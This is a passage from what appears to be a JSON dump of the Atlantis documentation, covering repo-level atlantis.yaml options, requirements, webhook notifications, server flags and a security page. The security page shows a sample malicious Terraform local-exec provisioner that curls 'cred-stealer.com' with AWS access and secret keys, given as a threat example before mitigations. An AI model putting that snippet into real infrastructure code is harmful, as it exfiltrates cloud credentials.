\"'\"$d\"'\", \"autoplan\": {\"when_modified\": [\"**/*.tf.*\"] }} ]' | yq -PM; \\\n  done\n```\n\n## Use Cases\n\n### Disabling Autoplanning\n\n```yaml\nversion: 3\nprojects:\n   - dir: project1\n     autoplan:\n        enabled: false\n```\n\nThis will stop Atlantis automatically running plan when `project1/` is updated\nin a pull request.\n\n### Run plans and applies in parallel\n\n```yaml\nversion: 3\nparallel_plan: true\nparallel_apply: true\n```\n\nThis will run plans and applies for all of your projects in parallel.\n\nEnabling these options can significantly reduce the duration of plans and applies, especially for repositories with many projects.\n\nUse the `--parallel-pool-size` to configure the max number of plans and applies that can run in parallel. The default is 15.\n\nParallel plans and applies work across both multiple directories and multiple workspaces.\n\n### Configuring Planning\n\nGiven the directory structure:\n\n```plain\n.\n├── modules\n│   └── module1\n│       ├── main.tf\n│       ├── outputs.tf\n│       └── submodule\n│           ├── main.tf\n│           └── outputs.tf\n└── project1\n    └── main.tf\n```\n\nIf you want Atlantis to plan `project1/` whenever any `.tf` files under `module1/` change or any `.tf` or `.tfvars` files under `project1/` change you could use the following configuration:\n\n```yaml\nversion: 3\nprojects:\n   - dir: project1\n     autoplan:\n        when_modified: [\"../modules/**/*.tf\", \"*.tf*\", \".terraform.lock.hcl\"]\n```\n\nNote:\n\n- `when_modified` uses the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file)\n- The paths are relative to the project's directory.\n- `when_modified` will be used by both automatic and manually run plans.\n- `when_modified` will continue to work for manually run plans even when autoplan is disabled.\n\n### Supporting Terraform Workspaces\n\n```yaml\nversion: 3\nprojects:\n   - dir: project1\n     workspace: staging\n   - dir: project1\n     workspace: production\n```\n\nWith the above config, when Atlantis determines that the configuration for the `project1` dir has changed,\nit will run plan for both the `staging` and `production` workspaces.\n\nIf you want to `plan` or `apply` for a specific workspace you can use\n\n```shell\natlantis plan -w staging -d project1\n```\n\nand\n\n```shell\natlantis apply -w staging -d project1\n```\n\n### Using .tfvars files\n\nSee [Custom Workflow Use Cases: Using .tfvars files](custom-workflows.md#tfvars-files)\n\n### Adding extra arguments to Terraform commands\n\nSee [Custom Workflow Use Cases: Adding extra arguments to Terraform commands](custom-workflows.md#adding-extra-arguments-to-terraform-commands)\n\n### Custom init/plan/apply Commands\n\nSee [Custom Workflow Use Cases: Custom init/plan/apply Commands](custom-workflows.md#custom-init-plan-apply-commands)\n\n### Terragrunt\n\nSee [Custom Workflow Use Cases: Terragrunt](custom-workflows.md#terragrunt)\n\n### Running custom commands\n\nSee [Custom Workflow Use Cases: Running custom commands](custom-workflows.md#running-custom-commands)\n\n### Terraform Distributions\n\nIf you'd like to use a different distribution of Terraform than what is set\nby the `--default-tf-version` flag, then set the `terraform_distribution` key:\n\n```yaml\nversion: 3\nprojects:\n   - dir: project1\n     terraform_distribution: opentofu\n```\n\nAtlantis will automatically download and use this distribution. Valid values are `terraform` and `opentofu`.\n\n### Terraform Versions\n\nIf you'd like to use a different version of Terraform than what is in Atlantis'\n`PATH` or is set by the `--default-tf-version` flag, then set the `terraform_version` key:\n\n```yaml\nversion: 3\nprojects:\n   - dir: project1\n     terraform_version: 0.10.0\n```\n\nAtlantis will automatically download and use this version.\n\n### Requiring Approvals For Production\n\nIn this example, we only want to require `apply` approvals for the `production` directory.\n\n```yaml\nversion: 3\nprojects:\n   - dir: staging\n   - dir: production\n     plan_requirements: [approved]\n     apply_requirements: [approved]\n     import_requirements: [approved]\n```\n\n:::warning\n`plan_requirements`, `apply_requirements` and `import_requirements` are restricted keys so this repo will need to be configured\nto be allowed to set this key. See [Server-Side Repo Config Use Cases](server-side-repo-config.md#repos-can-set-their-own-apply-requirements).\n:::\n\n### Order of planning/applying\n\n```yaml\nversion: 3\nabort_on_execution_order_fail: true\nprojects:\n   - dir: project1\n     execution_order_group: 2\n   - dir: project2\n     execution_order_group: 1\n```\n\nWith this config above, Atlantis runs planning/applying for project2 first, then for project1.\nSeveral projects can have same `execution_order_group`. Any order in one group isn't guaranteed.\n`parallel_plan` and `parallel_apply` respect these order groups, so parallel planning/applying works\nin each group one by one.\n\nIf any plan/apply fails and `abort_on_execution_order_fail` is set to true on a repo level, all the\nfollowing groups will be aborted. For this example, if project2 fails then project1 will not run.\n\nExecution order groups are useful when you have dependencies between projects. However, they are only applicable in the case where\nyou initiate a global apply for all of your projects, i.e `atlantis apply`. If you initiate an apply on a single project, then the execution order groups are ignored.\nThus, the `depends_on` key is more useful in this case. and can be used in conjunction with execution order groups.\n\nThe following configuration is an example of how to use execution order groups and depends_on together to enforce dependencies between projects.\n\n```yaml\nversion: 3\nprojects:\n   - name: development\n     dir: .\n     autoplan:\n        when_modified: [\"*.tf\", \"vars/development.tfvars\"]\n     execution_order_group: 1\n     workspace: development\n     workflow: infra\n   - name: staging\n     dir: .\n     autoplan:\n        when_modified: [\"*.tf\", \"vars/staging.tfvars\"]\n     depends_on: [\"development\"]\n     execution_order_group: 2\n     workspace: staging\n     workflow: infra\n   - name: production\n     dir: .\n     autoplan:\n        when_modified: [\"*.tf\", \"vars/production.tfvars\"]\n     depends_on: [\"staging\"]\n     execution_order_group: 3\n     workspace: production\n     workflow: infra\n```\n\nthe `depends_on` feature will make sure that `production` is not applied before `staging` for example.\n\n::: tip\nWhat Happens if one or more project's dependencies are not applied?\n\nIf there's one or more projects in the dependency list which is not in applied status, users will see an error message like this:\n`Can't apply your project unless you apply its dependencies`\n:::\n\n### Autodiscovery Config\n\n```yaml\nautodiscover:\n   mode: \"auto\"\n```\n\nThe above is the default configuration for `autodiscover.mode`. When `autodiscover.mode` is auto,\nprojects will be discovered only if the repo has no `projects` configured.\n\n```yaml\nautodiscover:\n   mode: \"disabled\"\n```\n\nWith the config above, Atlantis will never try to discover projects, even when there are no\n`projects` configured. This is useful if dynamically generating Atlantis config in pre_workflow hooks.\nSee [Dynamic Repo Config Generation](pre-workflow-hooks.md#dynamic-repo-config-generation).\n\n```yaml\nautodiscover:\n   mode: \"enabled\"\n```\n\nWith the config above, Atlantis will unconditionally try to discover projects based on modified_files,\neven when the directory of the project is missing from the configured `projects` in the repo configuration.\nIf a discovered project has the same directory as a project which was manually configured in `projects`,\nthe manual configuration will take precedence.\n\nUse this feature when some projects require specific configuration in a repo with many projects yet\nit's still desirable for Atlantis to plan/apply for projects not enumerated in the config.\n\nThis setting is ignored if it is configured on the server, see [Server Side Repo Config](server-side-repo-config.md#repo)\n\n```yaml\nautodiscover:\n   mode: \"enabled\"\n   ignore_paths:\n      - dir/*\n```\n\nAutodiscover can also be configured to skip over directories that match a path glob (as defined [here](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4))\n\n### Custom Backend Config\n\nSee [Custom Workflow Use Cases: Custom Backend Config](custom-workflows.md#custom-backend-config)\n\n## Reference\n\n### Top-Level Keys\n\n```yaml\nversion: 3\nautomerge: false\ndelete_source_branch_on_merge: false\nprojects:\nworkflows:\nallowed_regexp_prefixes:\n```\n\n| Key                           | Type                                                   | Default | Required | Description                                                                                                                        |\n| ----------------------------- | ------------------------------------------------------ | ------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------- |\n| version                       | int                                                    | none    | **yes**  | This key is required and must be set to `3`.                                                                                       |\n| automerge                     | bool                                                   | `false` | no       | Automatically merges pull request when all plans are applied.                                                                      |\n| delete_source_branch_on_merge | bool                                                   | `false` | no       | Automatically deletes the source branch on merge.                                                                                  |\n| projects                      | array[[Project](repo-level-atlantis-yaml.md#project)]  | `[]`    | no       | Lists the projects in this repo.                                                                                                   |\n| workflows<br />_(restricted)_ | map[string: [Workflow](custom-workflows.md#reference)] | `{}`    | no       | Custom workflows.                                                                                                                  |\n| allowed_regexp_prefixes       | array\\[string\\]                                        | `[]`    | no       | Lists the allowed regexp prefixes to use when the [`--enable-regexp-cmd`](server-configuration.md#enable-regexp-cmd) flag is used. |\n\n### Project\n\n```yaml\nname: myname\nbranch: /mybranch/\ndir: mydir\nworkspace: myworkspace\nexecution_order_group: 0\ndelete_source_branch_on_merge: false\nrepo_locking: true # deprecated: use repo_locks instead\nrepo_locks:\n   mode: on_plan\ncustom_policy_check: false\nautoplan:\nterraform_version: 0.11.0\nplan_requirements: [\"approved\"]\napply_requirements: [\"approved\"]\nimport_requirements: [\"approved\"]\nsilence_pr_comments: [\"apply\"]\nworkflow: myworkflow\n```\n\n| Key                                     | Type                    | Default         | Required | Description                                                                                                                                                                                                                             |\n| --------------------------------------- | ----------------------- | --------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| name                                    | string                  | none            | maybe    | Required if there is more than one project with the same `dir` and `workspace`. This project name can be used with the `-p` flag.                                                                                                       |\n| branch                                  | string                  | none            | no       | Regex matching projects by the base branch of pull request (the branch the pull request is getting merged into). Only projects that match the PR's branch will be considered. By default, all branches are matched.                     |\n| dir                                     | string                  | none            | **yes**  | The directory of this project relative to the repo root. For example if the project was under `./project1` then use `project1`. Use `.` to indicate the repo root.                                                                      |\n| workspace                               | string                  | `\"default\"`     | no       | The [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) for this project. Atlantis will switch to this workspace when planning/applying and will create it if it doesn't exist.                  |\n| execution_order_group                   | int                     | `0`             | no       | Index of execution order group. Projects will be sorted by this field before planning/applying.                                                                                                                                         |\n| delete_source_branch_on_merge           | bool                    | `false`         | no       | Automatically deletes the source branch on merge.                                                                                                                                                                                       |\n| repo_locking                            | bool                    | `true`          | no       | (deprecated) Get a repository lock in this project when plan.                                                                                                                                                                           |\n| repo_locks                              | [RepoLocks](#repolocks) | `mode: on_plan` | no       | Get a repository lock in this project on plan or apply. See [RepoLocks](#repolocks) for more details.                                                                                                                                   |\n| custom_policy_check                     | bool                    | `false`         | no       | Enable using policy check tools other than Conftest                                                                                                                                                                                     |\n| autoplan                                | [Autoplan](#autoplan)   | none            | no       | A custom autoplan configuration. If not specified, will use the autoplan config. See [Autoplanning](autoplanning.md).                                                                                                                   |\n| terraform_version                       | string                  | none            | no       | A specific Terraform version to use when running commands for this project. Must be [Semver compatible](https://semver.org/), ex. `v0.11.0`, `0.12.0-beta1`.                                                                            |\n| plan_requirements<br />_(restricted)_   | array\\[string\\]         | none            | no       | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details.   |\n| apply_requirements<br />_(restricted)_  | array\\[string\\]         | none            | no       | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details.  |\n| import_requirements<br />_(restricted)_ | array\\[string\\]         | none            | no       | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. |\n| silence_pr_comments                     | array\\[string\\]         | none            | no       | Silence PR comments from defined stages while preserving PR status checks. Supported values are: `plan`, `apply`.                                                                                                                       |\n| workflow <br />_(restricted)_           | string                  | none            | no       | A custom workflow. If not specified, Atlantis will use its default workflow.                                                                                                                                                            |\n\n::: tip\nA project represents a Terraform state. Typically, there is one state per directory and workspace however it's possible to\nhave multiple states in the same directory using `terraform init -backend-config=custom-config.tfvars`.\nAtlantis supports this but requires the `name` key to be specified. See [Custom Backend Config](custom-workflows.md#custom-backend-config) for more details.\n:::\n\n### Autoplan\n\n```yaml\nenabled: true\nwhen_modified: [\"*.tf\", \"terragrunt.hcl\", \".terraform.lock.hcl\"]\n```\n\n| Key           | Type            | Default        | Required | Description                                                                                                                                                                                                                                                     |\n| ------------- | --------------- | -------------- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| enabled       | boolean         | `true`         | no       | Whether autoplanning is enabled for this project.                                                                                                                                                                                                               |\n| when_modified | array\\[string\\] | `[\"**/*.tf*\"]` | no       | Uses [.dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax. If any modified file in the pull request matches, this project will be planned. See [Autoplanning](autoplanning.md). Paths are relative to the project's dir. |\n\n### RepoLocks\n\n```yaml\nmode: on_apply\n```\n\n| Key  | Type   | Default   | Required | Description                                                                                                                           |\n| ---- | ------ | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------- |\n| mode | `Mode` | `on_plan` | no       | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. |\n"
  },
  {
    "path": "runatlantis.io/docs/requirements.md",
    "content": "# Requirements\n\nAtlantis works with most Git hosts and Terraform setups. Read on to confirm\nit works with yours.\n\n## Git Host\n\nAtlantis integrates with the following Git hosts:\n\n* GitHub (public, private or enterprise)\n* GitLab (public, private or enterprise)\n* Gitea (public, private and compatible forks like Forgejo)\n* Bitbucket Cloud aka bitbucket.org (public or private)\n* Bitbucket Server aka Stash\n* Azure DevOps\n\n## Terraform State\n\nAtlantis supports all backend types **except for local state**. We don't support local state\nbecause Atlantis does not have permanent storage and it doesn't commit the new\nstatefile back to version control.\n\n:::tip\nIf you're looking for an easy remote state solution, check out [free remote state](https://app.terraform.io)\nstorage from Terraform Cloud. This is fully supported by Atlantis.\n:::\n\n## Repository Structure\n\nAtlantis supports any Terraform repository structure, for example:\n\n### Single Terraform Project At Repo Root\n\n```plain\n.\n├── main.tf\n└── ...\n```\n\n### Multiple Project Folders\n\n```plain\n.\n├── project1\n│   ├── main.tf\n|   └── ...\n└── project2\n    ├── main.tf\n    └── ...\n```\n\n### Modules\n\n```plain\n.\n├── project1\n│   ├── main.tf\n|   └── ...\n└── modules\n    └── module1\n        ├── main.tf\n        └── ...\n```\n\nWith modules, if you want `project1` automatically planned when `module1` is modified\nyou need to create an `atlantis.yaml` file. See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#configuring-planning) for more details.\n\n### Terraform Workspaces\n\n*See [Terraform's docs](https://developer.hashicorp.com/terraform/language/state/workspaces) if you are unfamiliar with workspaces.*\n\nIf you're using Terraform `>= 0.9.0`, Atlantis supports workspaces through an\n`atlantis.yaml` file that tells Atlantis the names of your workspaces\n(see [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#supporting-terraform-workspaces) for more details)\n\n### .tfvars Files\n\n```plain\n.\n├── production.tfvars\n│── staging.tfvars\n└── main.tf\n```\n\nAtlantis supports `.tfvars` files in two ways:\n\n#### Automatic env/{workspace}.tfvars files\n\nAtlantis automatically includes workspace-specific variable files if they exist in an `env/` directory:\n\n```plain\n.\n├── main.tf\n├── variables.tf\n└── env/\n    ├── default.tfvars\n    ├── staging.tfvars\n    └── production.tfvars\n```\n\nWhen using this structure, Atlantis will automatically include the appropriate file based on the workspace:\n\n* `atlantis plan` includes `env/default.tfvars`\n* `atlantis plan -w staging` includes `env/staging.tfvars`  \n* `atlantis plan -w production` includes `env/production.tfvars`\n\nThis requires no additional configuration and works automatically.\n\n#### Custom .tfvars files with atlantis.yaml\n\nFor other `.tfvars` file locations or structures, you need to create\nan `atlantis.yaml` file to tell Atlantis to use `-var-file={YOUR_FILE}`.\nSee [atlantis.yaml Use Cases](custom-workflows.md#tfvars-files) for more details.\n\n### Multiple Repos\n\nAtlantis supports multiple repos as well–as long as there is a webhook configured\nfor each repo.\n\n## Terraform Versions\n\nAtlantis supports all Terraform versions (including 0.12) and can be configured\nto use different versions for different repositories/projects. See [Terraform Versions](terraform-versions.md).\n\n## Next Steps\n\n* If your Terraform setup meets the Atlantis requirements, continue the installation\n  guide and set up your [Git Host Access Credentials](access-credentials.md)\n"
  },
  {
    "path": "runatlantis.io/docs/security.md",
    "content": "# Security\n\n## Exploits\n\nBecause you usually run Atlantis on a server with credentials that allow access to your infrastructure it's important that you deploy Atlantis securely.\n\nAtlantis could be exploited by\n\n* An attacker submitting a pull request that contains a malicious Terraform file that\n  uses a malicious provider or an [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)\n  that Atlantis then runs `terraform plan` on (which it does automatically unless you've turned off automatic plans).\n* Running `terraform apply` on a malicious Terraform file with [local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n\n    ```tf\n    resource \"null_resource\" \"null\" {\n      provisioner \"local-exec\" {\n        command = \"curl https://cred-stealer.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY\"\n      }\n    }\n    ```\n\n* Running malicious custom build commands specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** `main`.\n* Someone adding `atlantis plan/apply` comments on your valid pull requests causing terraform to run when you don't want it to.\n\n## Mitigations\n\n### Don't Use On Public Repos\n\nBecause anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.\n\n### Don't Use `--allow-fork-prs`\n\nIf you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false)\nbecause anyone can open up a pull request from their fork to your repo.\n\n### `--repo-allowlist`\n\nAtlantis requires you to specify an allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag.\nFor example:\n\n* Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`\n* Your whole organization: `--repo-allowlist=github.com/runatlantis/*`\n* Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`\n* You can also omit specific repos: `--repo-allowlist='github.com/runatlantis/*,!github.com/runatlantis/untrusted-repo'`\n* All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.\n\nThis flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.\n\n### Protect Terraform Planning\n\nIf attackers submitting pull requests with malicious Terraform code is in your threat model\nthen you must be aware that `terraform apply` approvals are not enough. It is possible\nto run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)\nor by specifying a malicious provider. This code could then exfiltrate your credentials.\n\nTo prevent this, you could:\n\n1. Bake providers into the Atlantis image or host and deny egress in production.\n1. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.\n1. Modify your [server-side repo configuration](server-side-repo-config.md)'s `plan` step to validate against the\n   use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g.\n   requiring a \"thumbs-up\" on the PR before allowing the `plan` to continue. Conftest could be of use here.\n\n### `--var-file-allowlist`\n\nThe files on your Atlantis install may be accessible as [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files)\nfrom pull requests by adding  \n`atlantis plan -- -var-file=/path/to/file` comments. To mitigate this security risk, Atlantis has limited such access\nonly to the files allowlisted by the `--var-file-allowlist` flag. If this argument is not provided, it defaults to\nAtlantis' data directory.\n\n### Webhook Secrets\n\nAtlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables.\nEven with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted.\nWebhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).\n\n:::tip Tip\nIf you are using Azure DevOps, instead of webhook secrets add a [basic username and password](#azure-devops-basic-authentication)\n:::\n\n### Azure DevOps Basic Authentication\n\nAzure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.\n\n### SSL/HTTPS\n\nIf you're using webhook secrets but your traffic is over HTTP then the webhook secrets\ncould be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file`\nflags.\n\n### Enable Authentication on Atlantis Web Server\n\nIt is highly recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and set up a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.\n\nYou can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.\n\n:::tip Tip\nWe do encourage the usage of complex passwords in order to prevent basic bruteforcing attacks.\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/sending-notifications-via-webhooks.md",
    "content": "# Sending notifications via webhooks\n\nIt is possible to send notifications to external systems whenever an apply is being done.\n\nYou can make requests to any HTTP endpoint or send messages directly to your Slack channel.\n\n::: tip NOTE\nCurrently only `apply` events are supported.\n:::\n\n## Configuration\n\nWebhooks are configured in Atlantis [server-side configuration](server-configuration.md).\nThere can be many webhooks: sending notifications to different destinations or for different\nworkspaces/branches. Here is example configuration to send Slack messages for every apply:\n\n```yaml\nwebhooks:\n- event: apply\n  kind: slack\n  channel: my-channel-id\n```\n\nIf you are deploying Atlantis as a Helm chart, this can be implemented via the `config` parameter available for [chart customizations](https://github.com/runatlantis/helm-charts#customization):\n\n```yaml\n## Use Server Side Config,\n## ref: https://www.runatlantis.io/docs/server-configuration.html\nconfig: |\n   ---\n   webhooks:\n     - event: apply\n       kind: slack\n       channel: my-channel-id\n```\n\n### Filter on workspace/branch\n\nTo limit notifications to particular workspaces or branches, use `workspace-regex` or `branch-regex` parameters.\nIf the workspace **and** branch matches respective regex, an event will be sent. Note that empty regular expression\n(a result of unset parameter) matches every string.\n\n## Using HTTP webhooks\n\nYou can send POST requests with JSON payload to any HTTP/HTTPS server.\n\n### Configuring Atlantis\n\nIn your Atlantis [server-side configuration](server-configuration.md) you can add the following:\n\n```yaml\nwebhooks:\n- event: apply\n  kind: http\n  url: https://example.com/hooks\n```\n\nThe `apply` event information will be POSTed to `https://example.com/hooks`.\n\nYou can supply any additional headers with `--webhook-http-headers` parameter (or environment variable),\nfor example for authentication purposes. See [webhook-http-headers](server-configuration.md#webhook-http-headers) for details.\n\n### JSON payload\n\nThe payload is a JSON-marshalled [ApplyResult](https://pkg.go.dev/github.com/runatlantis/atlantis/server/events/webhooks#ApplyResult) struct.\n\nExample payload:\n\n```json\n{\n  \"Workspace\": \"default\",\n  \"Repo\": {\n    \"FullName\": \"octocat/Hello-World\",\n    \"Owner\": \"octocat\",\n    \"Name\": \"Hello-World\",\n    \"CloneURL\": \"https://:@github.com/octocat/Hello-World.git\",\n    \"SanitizedCloneURL\": \"https://:<redacted>@github.com/octocat/Hello-World.git\",\n    \"VCSHost\": {\n      \"Hostname\": \"github.com\",\n      \"Type\": 0\n    }\n  },\n  \"Pull\": {\n    \"Num\": 2137,\n    \"HeadCommit\": \"7fd1a60b01f91b314f59955a4e4d4e80d8edf11d\",\n    \"URL\": \"https://github.com/octocat/Hello-World/pull/2137\",\n    \"HeadBranch\": \"feature/some-branch\",\n    \"BaseBranch\": \"main\",\n    \"Author\": \"octocat\",\n    \"State\": 0,\n    \"BaseRepo\": {\n      \"FullName\": \"octocat/Hello-World\",\n      \"Owner\": \"octocat\",\n      \"Name\": \"Hello-World\",\n      \"CloneURL\": \"https://:@github.com/octocat/Hello-World.git\",\n      \"SanitizedCloneURL\": \"https://:<redacted>@github.com/octocat/Hello-World.git\",\n      \"VCSHost\": {\n        \"Hostname\": \"github.com\",\n        \"Type\": 0\n      }\n    }\n  },\n  \"User\": {\n    \"Username\": \"octocat\",\n    \"Teams\": null\n  },\n  \"Success\": true,\n  \"Directory\": \"terraform/example\", \n  \"ProjectName\": \"example-project\"\n}\n```\n\n## Using Slack hooks\n\nFor this you'll need to:\n\n* Create a Bot user in Slack\n* Configure Atlantis to send notifications to Slack.\n\n### Configuring Slack for Atlantis\n\n* Go to [Slack: Apps](https://api.slack.com/apps)\n* Click the `Create New App` button\n* Select `From scratch` in the dialog that opens\n* Give it a name, e.g. `atlantis-bot`.\n* Select your Slack workspace\n* Click `Create App`\n* On the left go to `oAuth & Permissions`\n* Scroll down to Scopes | Bot Token Scopes and add the following OAuth scopes:\n  * `channels:read`\n  * `chat:write`\n  * `groups:read`\n  * `incoming-webhook`\n  * `mpim:read`\n* Install the app onto your Slack workspace\n* Copy the `Bot User OAuth Token` and provide it to Atlantis by using `--slack-token=xoxb-xxxxxxxxxxx` or via the environment `ATLANTIS_SLACK_TOKEN=xoxb-xxxxxxxxxxx`.\n* Create a channel in your Slack workspace (e.g. `my-channel`) or use existing\n* Add the app to Created channel or existing channel ( click channel name then tab integrations, there Click \"Add apps\"\n\n### Configuring Atlantis\n\nAfter following the above steps it is time to configure Atlantis. Assuming you have already provided the `slack-token` (via parameter or environment variable) you can now instruct Atlantis to send `apply` events to Slack.\n\nIn your Atlantis [server-side configuration](server-configuration.md) you can now add the following:\n\n```yaml\nwebhooks:\n- event: apply\n  kind: slack\n  channel: my-channel-id\n```\n"
  },
  {
    "path": "runatlantis.io/docs/server-configuration.md",
    "content": "# Server Configuration\n\nThis page explains how to configure the `atlantis server` command.\n\nConfiguration to `atlantis server` can be specified via command line flags,\nenvironment variables, a config file or a mix of the three.\n\n## Environment Variables\n\nAll flags can be specified as environment variables.\n\n1. Take the flag name, ex. `--gh-user`\n1. Ignore the first `--` => `gh-user`\n1. Convert the `-`'s to `_`'s => `gh_user`\n1. Uppercase all the letters => `GH_USER`\n1. Prefix with `ATLANTIS_` => `ATLANTIS_GH_USER`\n\n::: warning NOTE\nTo set a boolean flag use `true` or `false` as the value.\n:::\n\n::: warning NOTE\nThe flag `--atlantis-url` is set by the environment variable `ATLANTIS_ATLANTIS_URL` **NOT** `ATLANTIS_URL`.\n:::\n\n## Config File\n\nAll flags can also be specified via a YAML config file.\n\nTo use a YAML config file, run `atlantis server --config /path/to/config.yaml`.\n\nThe keys of your config file should be the same as the flag names, ex.\n\n```yaml\ngh-token: ...\nlog-level: ...\n```\n\n::: warning\nThe config file you pass to `--config` is different from the `--repo-config` file.\nThe `--config` config file is only used as an alternate way of setting `atlantis server` flags.\n:::\n\n## Precedence\n\nValues are chosen in this order:\n\n1. Flags\n1. Environment Variables\n1. Config File\n\n## Flags\n\n### `--allow-commands` <Badge text=\"v0.27.0+\" type=\"info\"/>\n\n```bash\natlantis server --allow-commands=version,plan,apply,unlock,approve_policies\n# or\nATLANTIS_ALLOW_COMMANDS='version,plan,apply,unlock,approve_policies'\n```\n\nList of allowed commands to be run on the Atlantis server, Defaults to `version,plan,apply,unlock,approve_policies`\n\nNotes:\n\n- Accepts a comma separated list, ex. `command1,command2`.\n- `version`, `plan`, `apply`, `unlock`, `approve_policies`, `import`, `state`, `policy_check` and `all` are available.\n- `policy_check` is an internal command that runs automatically after `plan` when [policy checking](policy-checking.md) is enabled. It must be explicitly allowlisted when using [`--gh-team-allowlist`](#gh-team-allowlist).\n- `all` is a special keyword that allows all commands. If pass `all` then all other commands will be ignored.\n\n### `--allow-draft-prs` <Badge text=\"v0.13.0\" type=\"info\"/>\n\n```bash\natlantis server --allow-draft-prs\n# or\nATLANTIS_ALLOW_DRAFT_PRS=true\n```\n\nRespond to pull requests from draft prs. Defaults to `false`.\n\n### `--allow-fork-prs` <Badge text=\"v0.3.1+\" type=\"info\"/>\n\n```bash\natlantis server --allow-fork-prs\n# or\nATLANTIS_ALLOW_FORK_PRS=true\n```\n\nRespond to pull requests from forks. Defaults to `false`.\n\n:::warning SECURITY WARNING\nPotentially dangerous to enable\nbecause if attackers can create a pull request to your repo then they can cause Atlantis\nto run arbitrary code. This can happen because\nAtlantis will automatically run `terraform plan`\nwhich can run arbitrary code if given a malicious Terraform configuration.\n:::\n\n### `--api-secret` <Badge text=\"v0.22.2+\" type=\"info\"/>\n\n```bash\natlantis server --api-secret=\"secret\"\n# or (recommended)\nATLANTIS_API_SECRET=\"secret\"\n```\n\nRequired secret used to validate requests made to the [`/api/*` endpoints](api-endpoints.md).\n\n### `--atlantis-url` <Badge text=\"v0.1.3+\" type=\"info\"/>\n\n```bash\natlantis server --atlantis-url=\"https://my-domain.com:9090/basepath\"\n# or\nATLANTIS_ATLANTIS_URL=https://my-domain.com:9090/basepath\n```\n\nSpecify the URL that Atlantis is accessible from. Used in the Atlantis UI\nand in links from pull request comments. Defaults to `http://$(hostname):$port`\nwhere `$port` is from the [`--port`](#port) flag. Supports a basepath if you're hosting Atlantis under a path.\n\nNotes:\n\n- If a load balancer with a non http/https port (not the one defined in the `--port` flag) is used, update the URL to include the port like in the example above.\n- This URL is used as the `details` link next to each atlantis job to view the job's logs.\n\n### `--autodiscover-mode` <Badge text=\"v0.27.0+\" type=\"info\"/>\n\n```bash\natlantis server --autodiscover-mode=\"<auto|enabled|disabled>\"\n# or\nATLANTIS_AUTODISCOVER_MODE=\"<auto|enabled|disabled>\"\n```\n\nSets auto discover mode, default is `auto`. When set to `auto`, projects in a repo will be discovered by\nAtlantis when there are no projects configured in the repo config. If one or more projects are defined\nin the repo config then auto discovery will be completely disabled.\n\nWhen set to `enabled` projects will be discovered unconditionally. If an auto discovered project is already\ndefined in the projects section of the repo config, the project from the repo config will take precedence over\nthe auto discovered project.\n\nWhen set to `disabled` projects will never be discovered, even if there are no projects configured in the repo config.\n\n### `--automerge` <Badge text=\"v0.17.0\" type=\"info\"/>\n\n```bash\natlantis server --automerge\n# or\nATLANTIS_AUTOMERGE=true\n```\n\nAutomatically merge pull requests after all plans have been successfully applied.\nDefaults to `false`. See [Automerging](automerging.md) for more details.\n\n### `--autoplan-file-list` <Badge text=\"v0.15.0+\" type=\"info\"/>\n\n```bash\n# NOTE: Use single quotes to avoid shell expansion of *.\natlantis server --autoplan-file-list='**/*.tf,project1/*.pkr.hcl'\n# or\nATLANTIS_AUTOPLAN_FILE_LIST='**/*.tf,project1/*.pkr.hcl'\n```\n\nList of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning.\n\nNotes:\n\n- Accepts a comma separated list, ex. `pattern1,pattern2`.\n- Patterns use the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file)\n- List of file patterns 